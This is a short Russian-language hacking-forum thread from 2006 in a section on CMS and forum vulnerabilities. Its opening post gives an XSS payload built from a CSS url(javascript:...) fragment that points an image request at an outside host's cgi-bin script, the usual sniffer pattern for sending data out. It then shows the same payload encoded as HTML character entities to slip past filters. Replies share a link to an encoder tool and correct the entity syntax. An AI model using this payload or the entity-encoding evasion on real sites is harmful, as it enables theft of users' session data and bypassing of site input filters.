Форумы Альтернативное кодирование символов ("&"+"#")

Discussion in 'Уязвимости CMS/форумов' started by IKUS.esv, 4 Feb 2006.

Thread Status:
Not open for further replies.
  1. IKUS.esv

    IKUS.esv New Member

    Joined:
    7 Jan 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    вот эту строчку
    Code:
    url(javascript:document.images[1].src="http://anti chat.ru/cgi-bin/s.jpg?"
    можно написать по другому.
    Code:
    &+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;
    каждые 3 символа обозначают букву. где можно найти "переводчик" или таблицу, где все символы расписаны, тобишь u - &+#117; и т.д.
     
  2. Grrl

    Grrl Elder - Старейшина

    Joined:
    17 Jul 2004
    Messages:
    180
    Likes Received:
    54
    Reputations:
    29
    вот эту тулзу посмотри _http://www.raid.h15.ru/downloads/myprogs/xsse.rar
     
  3. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
  4. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Мдя...Вопще то "кодируется" так "&#" + Dec значение символа.
     
  5. IKUS.esv

    IKUS.esv New Member

    Joined:
    7 Jan 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    to Grrl и Elekt.
    спасибо, то что надо.
    я знаю, просто писал с ошибкой, потомучто когда сразу пишеь " & # 117 " форум выдаёт за " u "
     
  6. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    я не про это...Вопщем все сказано(можно "кодировать" с помощью таблицы(ручками),или используем веб-тулзы,проги и прочие)Вывод:тему закрываю
     
Thread Status:
Not open for further replies.